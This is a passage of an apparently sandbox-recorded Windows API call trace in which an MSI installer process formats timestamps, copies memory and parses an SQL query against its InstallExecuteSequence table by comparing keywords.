wSecond=0x2d, wMilliseconds=0x16a)) [0123.761] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce900, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0123.761] GetLocalTime (in: lpSystemTime=0x10ce930 | out: lpSystemTime=0x10ce930*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x16a)) [0123.761] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce930, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0123.761] memcpy (in: _Dst=0x10ceb90, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ceb90) returned 0x10ceb90 [0123.761] memcpy (in: _Dst=0x36f22e, _Src=0x10ceb90, _Size=0x10 | out: _Dst=0x36f22e) returned 0x36f22e [0123.761] memcpy (in: _Dst=0x36f23e, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x36f23e) returned 0x36f23e [0123.761] memcpy (in: _Dst=0x36f242, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x36f242) returned 0x36f242 [0123.761] SetLastError (dwErrCode=0x0) [0123.761] memcpy (in: _Dst=0x10ceb92, _Src=0x10ce9e8, _Size=0x2 | out: _Dst=0x10ceb92) returned 0x10ceb92 [0123.762] memcpy (in: _Dst=0x36f242, _Src=0x10ceb90, _Size=0x6 | out: _Dst=0x36f242) returned 0x36f242 [0123.762] memcpy (in: _Dst=0x36f248, _Src=0x2104b94, _Size=0x4 | out: _Dst=0x36f248) returned 0x36f248 [0123.762] memcpy (in: _Dst=0x36f24c, _Src=0x2104b9a, _Size=0x2 | out: _Dst=0x36f24c) returned 0x36f24c [0123.762] SetLastError (dwErrCode=0x0) [0123.811] memcpy (in: _Dst=0x10ceb92, _Src=0x10ce9e8, _Size=0x2 | out: _Dst=0x10ceb92) returned 0x10ceb92 [0123.811] memcpy (in: _Dst=0x36f24c, _Src=0x10ceb90, _Size=0x6 | out: _Dst=0x36f24c) returned 0x36f24c [0123.811] GetCurrentThreadId () returned 0xf50 [0123.811] GetCurrentThreadId () returned 0xf50 [0123.811] SetEvent (hEvent=0x170) returned 1 [0123.813] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0123.968] lstrlenW (lpString="INSTALL") returned 7 [0123.968] SetLastError (dwErrCode=0xd) [0123.968] SetLastError (dwErrCode=0xd) [0123.968] lstrlenW (lpString="Time") returned 4 [0123.969] GetLocalTime (in: lpSystemTime=0x10ce900 | out: lpSystemTime=0x10ce900*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x235)) [0123.969] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce900, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0123.969] GetLocalTime (in: lpSystemTime=0x10ce900 | out: lpSystemTime=0x10ce900*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x235)) [0123.969] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce900, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0123.969] GetLocalTime (in: lpSystemTime=0x10ce930 | out: lpSystemTime=0x10ce930*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x235)) [0123.969] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce930, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0123.969] memcpy (in: _Dst=0x10ceb90, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ceb90) returned 0x10ceb90 [0123.969] memcpy (in: _Dst=0x36f23a, _Src=0x10ceb90, _Size=0x10 | out: _Dst=0x36f23a) returned 0x36f23a [0123.969] memcpy (in: _Dst=0x36f24a, _Src=0x376446, _Size=0x4 | out: _Dst=0x36f24a) returned 0x36f24a [0123.969] memcpy (in: _Dst=0x36f24e, _Src=0x37644c, _Size=0x2 | out: _Dst=0x36f24e) returned 0x36f24e [0123.969] SetLastError (dwErrCode=0x0) [0123.969] memcpy (in: _Dst=0x10ceb92, _Src=0x10ce9e8, _Size=0x2 | out: _Dst=0x10ceb92) returned 0x10ceb92 [0123.969] memcpy (in: _Dst=0x36f24e, _Src=0x10ceb90, _Size=0x6 | out: _Dst=0x36f24e) returned 0x36f24e [0123.969] memcpy (in: _Dst=0x36f254, _Src=0x376450, _Size=0x2 | out: _Dst=0x36f254) returned 0x36f254 [0123.969] GetCurrentThreadId () returned 0xf50 [0123.969] GetCurrentThreadId () returned 0xf50 [0123.969] SetEvent (hEvent=0x170) returned 1 [0123.969] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.044] GetCurrentThreadId () returned 0xf50 [0124.044] GetCurrentThreadId () returned 0xf50 [0124.044] SetEvent (hEvent=0x170) returned 1 [0124.045] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.048] lstrlenW (lpString="UILevel") returned 7 [0124.048] SetLastError (dwErrCode=0x0) [0124.049] _vsnwprintf (in: _Buffer=0x10ceb20, _BufferCount=0xb3, _Format="SELECT `Action`,NULL,`Condition` FROM `%s` WHERE `Sequence` > 0 ORDER BY `Sequence`", _ArgList=0x10ceaa8 | out: _Buffer="SELECT `Action`,NULL,`Condition` FROM `InstallExecuteSequence` WHERE `Sequence` > 0 ORDER BY `Sequence`") returned 103 [0124.049] lstrlenW (lpString="InstallExecuteSequence") returned 22 [0124.049] GlobalLock (hMem=0xf400c8) returned 0x3c1a00 [0124.049] lstrlenW (lpString="SELECT `Action`,NULL,`Condition` FROM `InstallExecuteSequence` WHERE `Sequence` > 0 ORDER BY `Sequence`") returned 103 [0124.049] lstrlenW (lpString="SELECT `Action`,NULL,`Condition` FROM `InstallExecuteSequence` WHERE `Sequence` > 0 ORDER BY `Sequence`") returned 103 [0124.050] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0124.050] lstrcmpiW (lpString1="SELECT", lpString2="NULL") returned 1 [0124.050] lstrcmpiW (lpString1="FROM", lpString2="NULL") returned -1 [0124.050] lstrcmpiW (lpString1="AS", lpString2="NULL") returned -1 [0124.050] lstrcmpiW (lpString1="WHERE", lpString2="NULL") returned 1 [0124.050] lstrcmpiW (lpString1="NULL", lpString2="NULL") returned 0 [0124.050] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0124.050] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0124.050] lstrlenW (lpString="InstallExecuteSequence") returned 22 [0124.050] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䑒䗶䏤㮯䈻䘦䈷䈜䘴䑨䈦", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce720, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0124.051] CExposedStream::Stat () returned 0x0 [0124.051] GlobalLock (hMem=0xf400d8) returned 0x3c9da0 [0124.051] CExposedStream::Read () returned 0x0 [0124.051] memcpy (in: _Dst=0x3c9da4, _Src=0x36d9cc, _Size=0x2 | out: _Dst=0x3c9da4) returned 0x3c9da4 [0124.051] memcpy (in: _Dst=0x3c9db4, _Src=0x36d9ce, _Size=0x2 | out: _Dst=0x3c9db4) returned 0x3c9db4 [0124.051] memcpy (in: _Dst=0x3c9dc4, _Src=0x36d9d0, _Size=0x2 | out: _Dst=0x3c9dc4) returned 0x3c9dc4 [0124.051] memcpy (in: _Dst=0x3c9dd4, _Src=0x36d9d2, _Size=0x2 | out: _Dst=0x3c9dd4) returned 0x3c9dd4 [0124.051] memcpy (in: _Dst=0x3c9de4, _Src=0x36d9d4, _Size=0x2 | out: _Dst=0x3c9de4) returned 0x3c9de4 [0124.051] memcpy (in: _Dst=0x3c9df4, _Src=0x36d9d6, _Size=0x2 | out: _Dst=0x3c9df4) returned 0x3c9df4 [0124.051] memcpy (in: _Dst=0x3c9e04, _Src=0x36d9d8, _Size=0x2 | out: _Dst=0x3c9e04) returned 0x3c9e04 [0124.051] memcpy (in: _Dst=0x3c9e14, _Src=0x36d9da, _Size=0x2 | out: _Dst=0x3c9e14) returned 0x3c9e14 [0124.051] memcpy (in: _Dst=0x3c9e24, _Src=0x36d9dc, _Size=0x2 | out: _Dst=0x3c9e24) returned 0x3c9e24 [0124.051] memcpy (in: _Dst=0x3c9e34, _Src=0x36d9de, _Size=0x2 | out: _Dst=0x3c9e34) returned 0x3c9e34 [0124.051] memcpy (in: _Dst=0x3c9e44, _Src=0x36d9e0, _Size=0x2 | out: _Dst=0x3c9e44) returned 0x3c9e44 [0124.051] memcpy (in: _Dst=0x3c9e54, _Src=0x36d9e2, _Size=0x2 | out: _Dst=0x3c9e54) returned 0x3c9e54 [0124.051] memcpy (in: _Dst=0x3c9e64, _Src=0x36d9e4, _Size=0x2 | out: _Dst=0x3c9e64) returned 0x3c9e64 [0124.051] memcpy (in: _Dst=0x3c9e74, _Src=0x36d9e6, _Size=0x2 | out: _Dst=0x3c9e74) returned 0x3c9e74 [0124.051] memcpy (in: _Dst=0x3c9e84, _Src=0x36d9e8, _Size=0x2 | out: _Dst=0x3c9e84) returned 0x3c9e84 [0124.051] memcpy (in: _Dst=0x3c9e94, _Src=0x36d9ea, _Size=0x2 | out: _Dst=0x3c9e94) returned 0x3c9e94 [0124.051] memcpy (in: _Dst=0x3c9ea4, _Src=0x36d9ec, _Size=0x2 | out: _Dst=0x3c9ea4) returned 0x3c9ea4 [0124.051] memcpy (in: _Dst=0x3c9eb4, _Src=0x36d9ee, _Size=0x2 | out: _Dst=0x3c9eb4) returned 0x3c9eb4 [0124.051] memcpy (in: _Dst=0x3c9ec4, _Src=0x36d9f0, _Size=0x2 | out: _Dst=0x3c9ec4) returned 0x3c9ec4 [0124.051] memcpy (in: _Dst=0x3c9ed4, _Src=0x36d9f2, _Size=0x2 | out: _Dst=0x3c9ed4) returned 0x3c9ed4 [0124.051] memcpy (in: _Dst=0x3c9ee4, _Src=0x36d9f4, _Size=0x2 | out: _Dst=0x3c9ee4) returned 0x3c9ee4 [0124.052] memcpy (in: _Dst=0x3c9ef4, _Src=0x36d9f6, _Size=0x2 | out: _Dst=0x3c9ef4) returned 0x3c9ef4 [0124.052] memcpy (in: _Dst=0x3c9f04, _Src=0x36d9f8, _Size=0x2 | out: _Dst=0x3c9f04) returned 0x3c9f04 [0124.052] memcpy (in: _Dst=0x3c9f14, _Src=0x36d9fa, _Size=0x2 | out: _Dst=0x3c9f14) returned 0x3c9f14 [0124.052] memcpy (in: _Dst=0x3c9f24, _Src=0x36d9fc, _Size=0x2 | out: _Dst=0x3c9f24) returned 0x3c9f24 [0124.052] memcpy (in: _Dst=0x3c9f34, _Src=0x36d9fe, _Size=0x2 | out: _Dst=0x3c9f34) returned 0x3c9f34 [0124.052] memcpy (in: _Dst=0x3c9f44, _Src=0x36da00, _Size=0x2 | out: _Dst=0x3c9f44) returned 0x3c9f44 [0124.052] memcpy (in: _Dst=0x3c9f54, _Src=0x36da02, _Size=0x2 | out: _Dst=0x3c9f54) returned 0x3c9f54 [0124.052] memcpy (in: _Dst=0x3c9f64, _Src=0x36da04, _Size=0x2 | out: _Dst=0x3c9f64) returned 0x3c9f64 [0124.052] memcpy (in: _Dst=0x3c9f74, _Src=0x36da06, _Size=0x2 | out: _Dst=0x3c9f74) returned 0x3c9f74 [0124.052] memcpy (in: _Dst=0x3c9f84, _Src=0x36da08, _Size=0x2 | out: _Dst=0x3c9f84) returned 0x3c9f84 [0124.052] memcpy (in: _Dst=0x3c9f94, _Src=0x36da0a, _Size=0x2 | out: _Dst=0x3c9f94) returned 0x3c9f94 [0124.052] memcpy (in: _Dst=0x3c9fa4, _Src=0x36da0c, _Size=0x2 | out: _Dst=0x3c9fa4) returned 0x3c9fa4 [0124.052] memcpy (in: _Dst=0x3c9fb4, _Src=0x36da0e, _Size=0x2 | out: _Dst=0x3c9fb4) returned 0x3c9fb4 [0124.052] memcpy (in: _Dst=0x3c9fc4, _Src=0x36da10, _Size=0x2 | out: _Dst=0x3c9fc4) returned 0x3c9fc4 [0124.052] memcpy (in: _Dst=0x3c9fd4, _Src=0x36da12, _Size=0x2 | out: _Dst=0x3c9fd4) returned 0x3c9fd4 [0124.052] memcpy (in: _Dst=0x3c9da8, _Src=0x36da14, _Size=0x2 | out: _Dst=0x3c9da8) returned 0x3c9da8 [0124.052] memcpy (in: _Dst=0x3c9db8, _Src=0x36da16, _Size=0x2 | out: _Dst=0x3c9db8) returned 0x3c9db8 [0124.052] memcpy (in: _Dst=0x3c9dc8, _Src=0x36da18, _Size=0x2 | out: _Dst=0x3c9dc8) returned 0x3c9dc8 [0124.052] memcpy (in: _Dst=0x3c9dd8, _Src=0x36da1a, _Size=0x2 | out: _Dst=0x3c9dd8) returned 0x3c9dd8 [0124.052] memcpy (in: _Dst=0x3c9de8, _Src=0x36da1c, _Size=0x2 | out: _Dst=0x3c9de8) returned 0x3c9de8 [0124.052] memcpy (in: _Dst=0x3c9df8, _Src=0x36da1e, _Size=0x2 | out: _Dst=0x3c9df8) returned 0x3c9df8 [0124.052] memcpy (in: _Dst=0x3c9e08, _Src=0x36da20, _Size=0x2 | out: _Dst=0x3c9e08) returned 0x3c9e08 [0124.052] memcpy (in: _Dst=0x3c9e18, _Src=0x36da22, _Size=0x2 | out: _Dst=0x3c9e18) returned 0x3c9e18 [0124.052] memcpy (in: _Dst=0x3c9e28, _Src=0x36da24, _Size=0x2 | out: _Dst=0x3c9e28) returned 0x3c9e28 [0124.052] memcpy (in: _Dst=0x3c9e38, _Src=0x36da26, _Size=0x2 | out: _Dst=0x3c9e38) returned 0x3c9e38 [0124.052] memcpy (in: _Dst=0x3c9e48, _Src=0x36da28, _Size=0x2 | out: _Dst=0x3c9e48) returned 0x3c9e48 [0124.052] memcpy (in: _Dst=0x3c9e58, _Src=0x36da2a, _Size=0x2 | out: _Dst=0x3c9e58) returned 0x3c9e58 [0124.052] memcpy (in: _Dst=0x3c9e68, _Src=0x36da2c, _Size=0x2 | out: _Dst=0x3c9e68) returned 0x3c9e68 [0124.052] memcpy (in: _Dst=0x3c9e78, _Src=0x36da2e, _Size=0x2 | out: _Dst=0x3c9e78) returned 0x3c9e78 [0124.052] memcpy (in: _Dst=0x3c9e88, _Src=0x36da30, _Size=0x2 | out: _Dst=0x3c9e88) returned 0x3c9e88 [0124.052] memcpy (in: _Dst=0x3c9e98, _Src=0x36da32, _Size=0x2 | out: _Dst=0x3c9e98) returned 0x3c9e98 [0124.052] memcpy (in: _Dst=0x3c9ea8, _Src=0x36da34, _Size=0x2 | out: _Dst=0x3c9ea8) returned 0x3c9ea8 [0124.053] memcpy (in: _Dst=0x3c9eb8, _Src=0x36da36, _Size=0x2 | out: _Dst=0x3c9eb8) returned 0x3c9eb8 [0124.053] memcpy (in: _Dst=0x3c9ec8, _Src=0x36da38, _Size=0x2 | out: _Dst=0x3c9ec8) returned 0x3c9ec8 [0124.053] memcpy (in: _Dst=0x3c9ed8, _Src=0x36da3a, _Size=0x2 | out: _Dst=0x3c9ed8) returned 0x3c9ed8 [0124.053] memcpy (in: _Dst=0x3c9ee8, _Src=0x36da3c, _Size=0x2 | out: _Dst=0x3c9ee8) returned 0x3c9ee8 [0124.053] memcpy (in: _Dst=0x3c9ef8, _Src=0x36da3e, _Size=0x2 | out: _Dst=0x3c9ef8) returned 0x3c9ef8 [0124.053] memcpy (in: _Dst=0x3c9f08, _Src=0x36da40, _Size=0x2 | out: _Dst=0x3c9f08) returned 0x3c9f08 [0124.053] memcpy (in: _Dst=0x3c9f18, _Src=0x36da42, _Size=0x2 | out: _Dst=0x3c9f18) returned 0x3c9f18 [0124.053] memcpy (in: _Dst=0x3c9f28, _Src=0x36da44, _Size=0x2 | out: _Dst=0x3c9f28) returned 0x3c9f28 [0124.053] memcpy (in: _Dst=0x3c9f38, _Src=0x36da46, _Size=0x2 | out: _Dst=0x3c9f38) returned 0x3c9f38 [0124.053] memcpy (in: _Dst=0x3c9f48, _Src=0x36da48, _Size=0x2 | out: _Dst=0x3c9f48) returned 0x3c9f48 [0124.053] memcpy (in: _Dst=0x3c9f58, _Src=0x36da4a, _Size=0x2 | out: _Dst=0x3c9f58) returned 0x3c9f58 [0124.053] memcpy (in: _Dst=0x3c9f68, _Src=0x36da4c, _Size=0x2 | out: _Dst=0x3c9f68) returned 0x3c9f68 [0124.053] memcpy (in: _Dst=0x3c9f78, _Src=0x36da4e, _Size=0x2 | out: _Dst=0x3c9f78) returned 0x3c9f78 [0124.053] memcpy (in: _Dst=0x3c9f88, _Src=0x36da50, _Size=0x2 | out: _Dst=0x3c9f88) returned 0x3c9f88 [0124.053] memcpy (in: _Dst=0x3c9f98, _Src=0x36da52, _Size=0x2 | out: _Dst=0x3c9f98) returned 0x3c9f98 [0124.053] memcpy (in: _Dst=0x3c9fa8, _Src=0x36da54, _Size=0x2 | out: _Dst=0x3c9fa8) returned 0x3c9fa8 [0124.053] memcpy (in: _Dst=0x3c9fb8, _Src=0x36da56, _Size=0x2 | out: _Dst=0x3c9fb8) returned 0x3c9fb8 [0124.053] memcpy (in: _Dst=0x3c9fc8, _Src=0x36da58, _Size=0x2 | out: _Dst=0x3c9fc8) returned 0x3c9fc8 [0124.053] memcpy (in: _Dst=0x3c9fd8, _Src=0x36da5a, _Size=0x2 | out: _Dst=0x3c9fd8) returned 0x3c9fd8 [0124.053] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da5c, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.053] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da5e, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.053] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da60, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.053] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da62, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.053] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da64, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.053] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da66, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.053] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da68, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.053] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da6a, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.053] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da6c, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.054] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da6e, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.054] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da70, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.054] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da72, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.054] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da74, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.054] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da76, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.054] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da78, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.054] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da7a, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.054] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da7c, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.054] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da7e, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.054] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da80, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.054] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da82, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.054] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da84, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.054] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da86, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.054] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da88, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.054] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da8a, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.054] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da8c, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.054] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da8e, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.054] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da90, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.054] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da92, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.054] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da94, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.054] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da96, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.054] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da98, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.054] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da9a, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.054] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da9c, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.054] memcpy (in: _Dst=0x10ce7f8, _Src=0x36da9e, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.054] memcpy (in: _Dst=0x10ce7f8, _Src=0x36daa0, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.054] memcpy (in: _Dst=0x10ce7f8, _Src=0x36daa2, _Size=0x2 | out: _Dst=0x10ce7f8) returned 0x10ce7f8 [0124.055] CExposedStream::Release () returned 0x0 [0124.055] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0124.055] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0124.055] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0124.055] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0124.055] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0124.055] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0124.055] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0124.055] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0124.055] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0124.055] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0124.055] lstrcmpiW (lpString1="SELECT", lpString2="0") returned 1 [0124.055] lstrcmpiW (lpString1="FROM", lpString2="0") returned 1 [0124.055] lstrcmpiW (lpString1="AS", lpString2="0") returned 1 [0124.055] lstrcmpiW (lpString1="WHERE", lpString2="0") returned 1 [0124.056] lstrcmpiW (lpString1="NULL", lpString2="0") returned 1 [0124.056] lstrcmpiW (lpString1="OR", lpString2="0") returned 1 [0124.056] lstrcmpiW (lpString1="AND", lpString2="0") returned 1 [0124.056] lstrcmpiW (lpString1="NOT", lpString2="0") returned 1 [0124.056] lstrcmpiW (lpString1="ORDER", lpString2="0") returned 1 [0124.056] lstrcmpiW (lpString1="BY", lpString2="0") returned 1 [0124.056] lstrcmpiW (lpString1="DISTINCT", lpString2="0") returned 1 [0124.056] lstrcmpiW (lpString1="UPDATE", lpString2="0") returned 1 [0124.056] lstrcmpiW (lpString1="DELETE", lpString2="0") returned 1 [0124.056] lstrcmpiW (lpString1="INSERT", lpString2="0") returned 1 [0124.056] lstrcmpiW (lpString1="INTO", lpString2="0") returned 1 [0124.056] lstrcmpiW (lpString1="SET", lpString2="0") returned 1 [0124.056] lstrcmpiW (lpString1="VALUES", lpString2="0") returned 1 [0124.056] lstrcmpiW (lpString1="IS", lpString2="0") returned 1 [0124.056] lstrcmpiW (lpString1="CREATE", lpString2="0") returned 1 [0124.056] lstrcmpiW (lpString1="DROP", lpString2="0") returned 1 [0124.056] lstrcmpiW (lpString1="ALTER", lpString2="0") returned 1 [0124.056] lstrcmpiW (lpString1="TABLE", lpString2="0") returned 1 [0124.056] lstrcmpiW (lpString1="ADD", lpString2="0") returned 1 [0124.056] lstrcmpiW (lpString1="PRIMARY", lpString2="0") returned 1 [0124.056] lstrcmpiW (lpString1="KEY", lpString2="0") returned 1 [0124.056] lstrcmpiW (lpString1="CHAR", lpString2="0") returned 1 [0124.056] lstrcmpiW (lpString1="CHARACTER", lpString2="0") returned 1 [0124.056] lstrcmpiW (lpString1="VARCHAR", lpString2="0") returned 1 [0124.056] lstrcmpiW (lpString1="LONGCHAR", lpString2="0") returned 1 [0124.056] lstrcmpiW (lpString1="INT", lpString2="0") returned 1 [0124.057] lstrcmpiW (lpString1="INTEGER", lpString2="0") returned 1 [0124.057] lstrcmpiW (lpString1="SHORT", lpString2="0") returned 1 [0124.057] lstrcmpiW (lpString1="LONG", lpString2="0") returned 1 [0124.057] lstrcmpiW (lpString1="OBJECT", lpString2="0") returned 1 [0124.057] lstrcmpiW (lpString1="TEMPORARY", lpString2="0") returned 1 [0124.057] lstrcmpiW (lpString1="HOLD", lpString2="0") returned 1 [0124.057] lstrcmpiW (lpString1="FREE", lpString2="0") returned 1 [0124.057] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="0") returned 1 [0124.057] lstrcmpiW (lpString1="", lpString2="0") returned -1 [0124.057] lstrcmpiW (lpString1="SELECT", lpString2="0") returned 1 [0124.057] lstrcmpiW (lpString1="FROM", lpString2="0") returned 1 [0124.057] lstrcmpiW (lpString1="AS", lpString2="0") returned 1 [0124.057] lstrcmpiW (lpString1="WHERE", lpString2="0") returned 1 [0124.057] lstrcmpiW (lpString1="NULL", lpString2="0") returned 1 [0124.057] lstrcmpiW (lpString1="OR", lpString2="0") returned 1 [0124.057] lstrcmpiW (lpString1="AND", lpString2="0") returned 1 [0124.057] lstrcmpiW (lpString1="NOT", lpString2="0") returned 1 [0124.057] lstrcmpiW (lpString1="ORDER", lpString2="0") returned 1 [0124.057] lstrcmpiW (lpString1="BY", lpString2="0") returned 1 [0124.057] lstrcmpiW (lpString1="DISTINCT", lpString2="0") returned 1 [0124.057] lstrcmpiW (lpString1="UPDATE", lpString2="0") returned 1 [0124.057] lstrcmpiW (lpString1="DELETE", lpString2="0") returned 1 [0124.057] lstrcmpiW (lpString1="INSERT", lpString2="0") returned 1 [0124.057] lstrcmpiW (lpString1="INTO", lpString2="0") returned 1 [0124.058] lstrcmpiW (lpString1="SET", lpString2="0") returned 1 [0124.058] lstrcmpiW (lpString1="VALUES", lpString2="0") returned 1 [0124.058] lstrcmpiW (lpString1="IS", lpString2="0") returned 1 [0124.058] lstrcmpiW (lpString1="CREATE", lpString2="0") returned 1 [0124.058] lstrcmpiW (lpString1="DROP", lpString2="0") returned 1 [0124.058] lstrcmpiW (lpString1="ALTER", lpString2="0") returned 1 [0124.058] lstrcmpiW (lpString1="TABLE", lpString2="0") returned 1 [0124.058] lstrcmpiW (lpString1="ADD", lpString2="0") returned 1 [0124.058] lstrcmpiW (lpString1="PRIMARY", lpString2="0") returned 1 [0124.058] lstrcmpiW (lpString1="KEY", lpString2="0") returned 1 [0124.058] lstrcmpiW (lpString1="CHAR", lpString2="0") returned 1 [0124.058] lstrcmpiW (lpString1="CHARACTER", lpString2="0") returned 1 [0124.058] lstrcmpiW (lpString1="VARCHAR", lpString2="0") returned 1 [0124.059] lstrcmpiW (lpString1="LONGCHAR", lpString2="0") returned 1 [0124.059] lstrcmpiW (lpString1="INT", lpString2="0") returned 1 [0124.059] lstrcmpiW (lpString1="INTEGER", lpString2="0") returned 1 [0124.059] lstrcmpiW (lpString1="SHORT", lpString2="0") returned 1 [0124.059] lstrcmpiW (lpString1="LONG", lpString2="0") returned 1 [0124.059] lstrcmpiW 